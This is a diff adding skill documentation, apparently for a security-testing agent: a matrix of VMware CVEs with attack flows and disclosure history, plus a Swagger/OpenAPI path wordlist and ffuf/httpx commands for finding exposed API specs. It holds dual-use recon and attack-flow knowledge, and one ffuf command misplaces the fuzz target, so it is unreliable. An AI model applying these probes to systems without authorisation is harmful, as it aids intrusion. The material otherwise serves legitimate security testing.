+- **References:** https://www.vmware.com/security/advisories/VMSA-2021-0010.html ; https://noahblog.360.cn/vcenter-server-rce/ (Ricter Z writeup) ; https://www.rapid7.com/db/modules/exploit/linux/http/vmware_vcenter_vsan_health_rce/ ; https://www.bleepingcomputer.com/news/security/vmware-warns-of-critical-bug-affecting-all-vcenter-server-installs/
+
+### 3. CVE-2021-22005 — vCenter Analytics service arbitrary file upload → RCE
+- **Affected:** vCenter Server 6.7 < 6.7 U3o, 7.0 < 7.0 U2d. Cloud Foundation 3.x/4.x bundled vCenter.
+- **Attack flow:** Unauth POST to the Analytics endpoint on port 443 (`/analytics/telemetry/ph/api/hyper/send`) writes attacker-controlled file outside the intended directory; chained with subsequent service abuse to reach RCE as the vCenter service account.
+- **Root cause:** Analytics/CEIP endpoint did not authenticate file uploads and did not validate target path.
+- **Disclosure:** VMware advisory VMSA-2021-0020 published 2021-09-21. Working PoC by @testanull / @wvu released within ~72h; CISA issued an emergency alert 2021-09-24. **CISA KEV:** added 2021-11-03. Year discovered 2021, patched 2021.
+- **References:** https://www.vmware.com/security/advisories/VMSA-2021-0020.html ; https://www.cisa.gov/news-events/alerts/2021/09/24/vmware-vcenter-server-vulnerability-cve-2021-22005-under-active-exploit ; https://www.rapid7.com/blog/post/2021/09/21/critical-vcenter-server-file-upload-vulnerability-cve-2021-22005/ ; https://www.bleepingcomputer.com/news/security/working-exploit-released-for-vmware-vcenter-cve-2021-22005-bug/
+
+### 4. CVE-2022-22954 — Workspace ONE Access / Identity Manager FreeMarker SSTI → RCE
+- **Affected:** Workspace ONE Access 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0; Identity Manager 3.3.3 → 3.3.6; vRealize Automation 7.6.
+- **Attack flow:** Unauth GET to `/catalog-portal/ui/oauth/verify?deviceUdid=${...}` injects a FreeMarker template; `freemarker.template.utility.Execute` runs OS commands as the `horizon` service account. Single-request RCE.
+- **Root cause:** Catalog-portal endpoint passed attacker-controlled query parameter into FreeMarker render without sandboxing the Execute utility.
+- **Disclosure:** Reported by Steven Seeley (mr_me) of Source Incite; VMware advisory VMSA-2022-0011 published 2022-04-06. PoCs public within 48h; widespread mass-exploitation followed. **CISA KEV:** added 2022-04-14. CISA AA22-138B (May 2022) documents IR engagements at "large organizations" exploited via this CVE. Year discovered 2022, patched 2022.
+- **References:** https://www.vmware.com/security/advisories/VMSA-2022-0011.html ; https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-138b ; https://srcincite.io/blog/2022/04/19/cve-2022-22954-vmware-workspace-one-access-pre-auth-rce.html ; https://www.crowdsec.net/blog/new-surge-in-vmware-cve-2022-22954-exploit-attempts
+
+### 5. CVE-2022-22972 — Workspace ONE Access / Identity Manager / vRealize Automation Host-header authentication bypass
+- **Affected:** Workspace ONE Access 21.08.0.1; Identity Manager 3.3.3–3.3.6; vRealize Automation 7.6 (and downstream Cloud Foundation bundles).
+- **Attack flow:** Manipulate the HTTP `Host` header during local-domain login flow; the server routes its internal validation request to the attacker-controlled hostname → returns admin session without legitimate credentials.
+- **Root cause:** Host header used unvalidated as the target for the internal auth-validation request — classic SSRF-into-self with trust elevation.
+- **Disclosure:** Reported by Bruno López of Innotec Security; VMware advisory VMSA-2022-0014 published 2022-05-18. **CISA Emergency Directive 22-03** (2022-05-18) ordered all U.S. federal civilian agencies to patch or remove affected VMware installations by 2022-05-24 — the same agencies that had just been told the same thing for CVE-2022-22954 six weeks earlier. Year discovered 2022, patched 2022.
+- **References:** https://www.vmware.com/security/advisories/VMSA-2022-0014.html ; https://www.cisa.gov/news-events/directives/ed-22-03-mitigate-vmware-vulnerabilities ; https://www.rapid7.com/blog/post/2022/05/19/cve-2022-22972-critical-authentication-bypass-in-vmware-workspace-one-access-identity-manager-and-vrealize-automation/ ; https://www.assetnote.io/resources/research/understanding-cve-2022-22972-vmware-workspace-one-access-auth-bypass
+
+### 6. CVE-2023-20887 — VMware Aria Operations for Networks (vRealize Network Insight) pre-auth command injection → RCE
+- **Affected:** Aria Operations for Networks (formerly vRealize Network Insight / vRNI) 6.2 through 6.10.
+- **Attack flow:** Two-issue chain — (a) reach the Apache Thrift endpoint exposed on the management interface despite no authentication, (b) inject shell metacharacters into a parameter passed to a `bash -c` invocation. Single unauth POST → root.
+- **Root cause:** Thrift RPC endpoint exposed without auth + downstream shell-string composition with user input.
+- **Disclosure:** Reported by Sina Kheirkhah (@SinSinology) of Summoning Team to ZDI; advisory VMSA-2023-0012 published 2023-06-07. Public PoC released same week. **CISA KEV:** added 2023-06-22 after observed in-the-wild exploitation. Year discovered 2023, patched 2023.
+- **References:** https://www.vmware.com/security/advisories/VMSA-2023-0012.html ; https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/ ; https://blogs.juniper.net/en-us/threat-research/cve-2023-20887-vmware-aria-operations-for-networks-unauthenticated-remote-code-execution ; https://github.com/sinsinology/CVE-2023-20887
+
+### 7. CVE-2023-34048 — vCenter Server DCERPC pre-auth out-of-bounds write → RCE (APT-exploited zero-day)
+- **Affected:** vCenter Server 7.0 < 7.0 U3o, 8.0 < 8.0 U1d/U2b; VMware Cloud Foundation bundles.
+- **Attack flow:** Unauthenticated network actor sends a crafted DCE/RPC packet to the vmdir/vmafd service → out-of-bounds write in the DCE/RPC protocol implementation → memory corruption → code execution. Forensic tell: `vmdird` crashes shortly before backdoor deployment.
+- **Root cause:** OOB write in DCE/RPC marshalling layer of vCenter management services.
+- **Disclosure:** Reported by Grigory Dorodnov of Trend Micro ZDI (publication ZDI-23-1623, suggesting a paid ZDI submission — bounty undisclosed). Advisory VMSA-2023-23 published 2023-10-24. **Mandiant** later attributed in-the-wild exploitation to **UNC3886** (China-nexus espionage) since late 2021 — a ~1.5-year zero-day window before patch. **CISA KEV:** added 2024-01-22. Year discovered 2023 (patched), exploited since 2021.
+- **References:** https://www.vmware.com/security/advisories/VMSA-2023-0023.html ; https://www.zerodayinitiative.com/advisories/ZDI-23-1623/ ; https://cloud.google.com/blog/topics/threat-intelligence/chinese-vmware-exploitation-since-2021/ (Mandiant) ; https://www.bleepingcomputer.com/news/security/chinese-hackers-exploit-vmware-bug-as-zero-day-for-two-years/
+
+### 8. CVE-2024-37085 — ESXi Active Directory integration "ESX Admins" auth bypass (ransomware-favorite)
+- **Affected:** ESXi 7.0 < ESXi70U3q-24585291, ESXi 8.0 < ESXi80U3-24022510; vCenter-managed clusters where ESXi is joined to AD.
+- **Attack flow:** Attacker with sufficient AD rights creates (or re-creates after deletion) a group literally named `ESX Admins` and adds an account. ESXi auto-grants every member full admin rights without checking that the group existed at join time. End-to-end: AD foothold → group create → SSH/API root on every domain-joined ESXi host → mass VM encryption.
+- **Root cause:** Hard-coded trust of group name `ESX Admins` with no domain-scoped identity validation.
+- **Disclosure:** Reported by Microsoft Threat Intelligence; advisory VMSA-2024-0013 published 2024-06-25. **Microsoft Security Blog** documents pre-patch exploitation by **Storm-0506 (Black Basta), Storm-1175, Octo Tempest, and Manatee Tempest** ransomware operators — including a confirmed Black Basta deployment at a North American engineering firm. **CISA KEV:** added 2024-07-30. Year discovered 2024 (exploited as 0-day), patched 2024.
+- **References:** https://www.vmware.com/security/advisories/VMSA-2024-0013.html ; https://www.microsoft.com/en-us/security/blog/2024/07/29/ransomware-operators-exploit-esxi-hypervisor-vulnerability-for-mass-encryption/ ; https://www.rapid7.com/blog/post/2024/07/30/vmware-esxi-cve-2024-37085-targeted-in-ransomware-campaigns/ ; https://thehackernews.com/2024/07/vmware-esxi-flaw-exploited-by.html
+
+### 9. CVE-2024-22273 — ESXi / Workstation / Fusion / vCenter storage controller OOB read/write
+- **Note on the original ticket:** This CVE was listed in the brief as "Aria SSRF," but the actual NVD record describes an **ESXi/vCenter storage controller out-of-bounds read/write**, not an Aria SSRF. The closest Aria SSRF-adjacent issue in the 2024 cycle is **CVE-2023-34063** (VMSA-2024-0001) — Aria Automation missing access control allowing authenticated cross-org access; CVSSv3 9.9. Both are cited so the matrix is technically accurate.
+- **Affected (CVE-2024-22273):** ESXi 7.0/8.0, Workstation 17.x, Fusion 13.x. vCenter Server packaged variants. Requires VM-local access with storage controllers enabled.
+- **Attack flow:** VM with storage controllers enabled can issue crafted I/O to trigger OOB read/write on the host → information disclosure or DoS of the host (escape not directly demonstrated). CVSS 8.1 (Important).
+- **Root cause:** Missing bounds check in the storage controller emulation path.
+- **Disclosure:** Reported by Hao Zheng (@zhz) and Jiaqing Huang (@s0duku) of TianGong Team, Legendsec @ Qi'anxin Group. Advisory VMSA-2024-0011 published 2024-05-21. Year discovered 2024, patched 2024.
+- **References:** https://www.vmware.com/security/advisories/VMSA-2024-0011.html ; https://nvd.nist.gov/vuln/detail/CVE-2024-22273 ; https://www.rapid7.com/db/vulnerabilities/vmsa-2024-0011-cve-2024-22273/
+- **Aria-specific companion — CVE-2023-34063 (VMSA-2024-0001):** Aria Automation 8.11.x–8.14.x missing access control — authenticated actor obtains unauthorized cross-organization access to remote workflows. CVSSv3 9.9. Patched in Aria Automation 8.16. References: https://www.vmware.com/security/advisories/VMSA-2024-0001.html ; https://www.cisa.gov/news-events/alerts/2024/01/17/vmware-releases-security-advisory-aria-automation
+
+### 10. CVE-2020-3992 + CVE-2021-21974 — ESXi OpenSLP pre-auth use-after-free / heap overflow (ESXiArgs ransomware vector)
+- **Affected:** ESXi 6.5, 6.7, 7.0 prior to the OpenSLP patches (ESXi70U1c-17325551 / ESXi670-202102401-SG / ESXi650-202102101-SG). OpenSLP service on TCP/427.
+- **Attack flow:** Unauth attacker sends a crafted SLP packet to port 427 → memory corruption in the SLP daemon → code execution as root on the hypervisor. CVE-2020-3992 is the use-after-free (VMSA-2020-0023); CVE-2021-21974 is the heap-overflow variant (VMSA-2021-0002, same release wave as 21972).
+- **Root cause:** OpenSLP daemon — long-deprecated, exposed by default until 2021 — has unsafe parsing of SLP message frames.
+- **Disclosure:** CVE-2020-3992 reported by Lucas Leong of Trend Micro ZDI (ZDI-20-1376, paid ZDI submission). CVE-2021-21974 reported by Lucas Leong of Trend Micro ZDI as well. **CISA KEV:** CVE-2020-3992 added 2021-11-03; CVE-2021-21974 added 2023-02-08. **ESXiArgs ransomware campaign** (Feb 2023) hit ~3,800 internet-exposed hosts via CVE-2021-21974 — two years after patch was available. VMware disabled SLP by default in subsequent releases. Year discovered 2020/2021, patched 2020/2021, mass-exploited 2023.
+- **References:** https://www.vmware.com/security/advisories/VMSA-2020-0023.html ; https://www.vmware.com/security/advisories/VMSA-2021-0002.html ; https://www.zerodayinitiative.com/advisories/ZDI-20-1376/ ; https://www.cisa.gov/known-exploited-vulnerabilities-catalog ; https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/ ; https://www.recordedfuture.com/blog/esxiargs-ransomware-targets-vmware-esxi-openslp-servers
+
+### Bonus: CVE-2022-31656 — Workspace ONE Access / Identity Manager / vRealize Automation auth bypass (post-22972 follow-up)
+- **Affected:** Same product matrix as 22954/22972. Workspace ONE Access 21.08.x; Identity Manager 3.3.3–3.3.6; vRealize Automation 7.6.
+- **Attack flow:** Network-only actor obtains admin without authenticating; chained with CVE-2022-31659 (auth'd RCE) the pair yields pre-auth admin RCE — the spiritual successor to the 22954+22972 pair.
+- **Root cause:** Local-domain auth flow trusted a parameter that could be supplied without prior auth.
+- **Disclosure:** Reported by **PetrusViet** of VNG Security; advisory VMSA-2022-0021 published 2022-08-02. PetrusViet released chain writeup + PoC. Year 2022.
+- **References:** https://www.vmware.com/security/advisories/VMSA-2022-0021.html ; https://www.greynoise.io/blog/vmware-workspace-one-vulnerabilities-cve-2022-31656-and-cve-2022-31659 ; https://attackerkb.com/topics/RuMGC8Q1pE/cve-2022-31656
+
+---
+
+## Key meta-references (cross-CVE)
+
+- **CISA KEV catalog (VMware filter):** https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=vmware — VMware is one of the most-represented vendors; cross-check any vCenter/ESXi/Workspace finding here before grading severity.
+- **Broadcom (formerly VMware) advisories index:** https://support.broadcom.com/security-advisories (legacy https://www.vmware.com/security/advisories.html). Search by VMSA-YYYY-NNNN.
+- **ZDI published advisories:** https://www.zerodayinitiative.com/advisories/published/ — filter "VMware" for the canonical paid-bounty disclosures (CVE-2020-3992, CVE-2023-34048, multiple Aria Operations and vRNI).
+- **Mandiant UNC3886 reporting:** Google Cloud Threat Intelligence has the deepest published forensic trail on long-tail vCenter zero-day exploitation. Pair with the `mid-engagement-ir-detection` skill when working a target where vCenter is reachable.
+
+The pattern across every entry above: **VMware management-plane CVEs are pre-auth, network-reachable, and mass-exploited within days of patch.** When external recon surfaces any of these products at a current-minus-one patch level, that is a Critical finding worth a same-day callout in the deliverable — not a Medium info-disclosure.
diff --git a/skills/web2-recon/SKILL.md b/skills/web2-recon/SKILL.md
index bfcd78b..27b742f 100644
--- a/skills/web2-recon/SKILL.md
+++ b/skills/web2-recon/SKILL.md
@@ -469,6 +469,141 @@ Verified against HackerOne's own VDP in `docs/verification/recon-hackerone-vdp.m
---
+## API Spec / Swagger / OpenAPI Discovery (2024-2026 surface)
+
+API spec endpoints are the single highest-leverage recon target on any modern .NET / Node / Python / Java backend. The spec discloses every endpoint, HTTP methods, parameter names + types + formats, models, validation rules — a complete attack-map in JSON. Default routes are commonly left enabled in production. **Add this wordlist to the directory-fuzzing phase** (after the standard `common.txt` pass).
+
+### Default discovery path wordlist (paste into `swagger-paths.txt`)
+
+```
+# NSwag / Swashbuckle (ASP.NET Core)
+/swagger
+/swagger/
+/swagger/index.html
+/swagger/ui/index.html
+/swagger/v1/swagger.json
+/swagger/v2/swagger.json
+/swagger/v3/swagger.json
+/swagger/docs/v1
+/swagger/docs/v2
+/swagger-ui
+/swagger-ui/
+/swagger-ui.html
+/swagger-resources
+/swagger-resources/configuration/ui
+/nswag
+/nswag/index.html
+/api/swagger
+/api/swagger.json
+/api/swagger/v1/swagger.json
+/api/openapi
+/api/openapi.json
+/api/v1/swagger.json
+/api/v2/swagger.json
+/api-docs
+/api-docs/swagger.json
+
+# OpenAPI generic
+/openapi
+/openapi.json
+/openapi.yaml
+/openapi.yml
+/openapi/v1.json
+/openapi/v2.json
+/openapi/v3.json
+/.well-known/openapi.json
+
+# Java / Spring (Springfox / springdoc)
+/v2/api-docs
+/v3/api-docs
+/v3/api-docs.yaml
+/v3/api-docs/swagger-config
+/swagger-ui/index.html
+
+# Python (FastAPI / Flask-RESTPlus / Connexion / DRF)
+/docs
+/docs/
+/redoc
+/redoc/
+/openapi.json
+/swagger.json
+/swagger/?format=openapi
+/swagger.yaml
+
+# Express / Node / Hapi
+/api-docs
+/api-docs.json
+/swagger.json
+/swagger-stats
+/graphql-docs
+
+# GraphQL adjacent (often co-located)
+/graphql
+/graphiql
+/playground
+/altair
+/voyager
+/graphql/console
+/graphql-explorer
+
+# ReDoc / RapiDoc / Stoplight / alt UIs
+/redoc
+/redoc.html
+/redoc-ui.html
+/rapidoc
+/rapidoc.html
+/stoplight
+/elements
+
+# Misc / dev-leftover
+/actuator
+/actuator/openapi
+/actuator/mappings
+/q/openapi
+/q/swagger-ui
+/docs/swagger.json
+/api/v1/docs
+/api/v2/docs
+/internal/swagger
+/admin/swagger
+/management/swagger
+```
+
+### Integration with the standard pipeline
+
+```bash
+# After live-hosts.txt is built (Phase 1 / 2), run:
+ffuf -w swagger-paths.txt -u "https://FUZZ.target.com" -mc 200,302 -fs 0 -t 50 -o swagger-hits.json
+# Or with httpx for content-aware filtering:
+httpx -l live-hosts.txt -path swagger-paths.txt -mc 200 -mr "swagger|openapi" -json | tee swagger-hits.jsonl
+# For every hit:
+jq '.paths | keys' swagger.json > endpoints.txt
+jq '.components.schemas' swagger.json > schemas.json # mass-assignment field candidates
+```
+
+### Why this matters for recon-to-hunting handoff
+
+- **Spec → mass IDOR/BOLA** — `jq '.paths | keys' swagger.json` becomes the input list for `Autorize`/`ffuf` per-user testing.
+- **Spec → mass-assignment payload construction** — `components.schemas.UserUpdateDto` enumerates `isAdmin`, `emailVerified`, `tenantId`, `role`.
+- **Spec → hidden endpoint discovery** — `/internal/*`, `/debug/*`, `/v0/*`, `/legacy/*` routes documented but never auth-gated.
+- **Spec → injection-class seeding** — every parameter's type + format + enum + max-length means payloads pass validation before reaching the sink. Especially valuable against ASP.NET Core where the model binder rejects malformed input before any controller logic.
+
+### Tools
+
+- `kiterunner` — natively ingests OpenAPI spec, generates requests against the API.
+- `sj` (Swagger Jacker) — purpose-built for Swagger spec exploitation.
+- `apidetector` (brinhosa) — Swagger-UI mass scanner.
+- `XSSwagger` (vavkamil) — detects vulnerable Swagger UI versions (CVE-2018-25031 family).
+- `nuclei -t http/exposures/apis/` — built-in templates for default spec paths.
+
+### Anti-pattern reminder
+
+A 404/403 on `/swagger` does NOT mean no spec is exposed. Many .NET projects route the spec under `/api/swagger/v1/swagger.json` rather than `/swagger`. Always test the full path list, not just the root.
+
+Full attack-chain analysis is in `hunt-api-misconfig` → `NSwag / Swagger / OpenAPI Spec Exposure`.
+
+---
+
## Related Skills & Chains
- **`offensive-osint`** — When recon needs concrete probes / wordlists / regexes beyond the basic pipeline. Workflow primitive: this skill produces the URL set; `offensive-osint` provides the secret regexes, GraphQL/Swagger paths, and identity-fabric probes you apply to that URL set.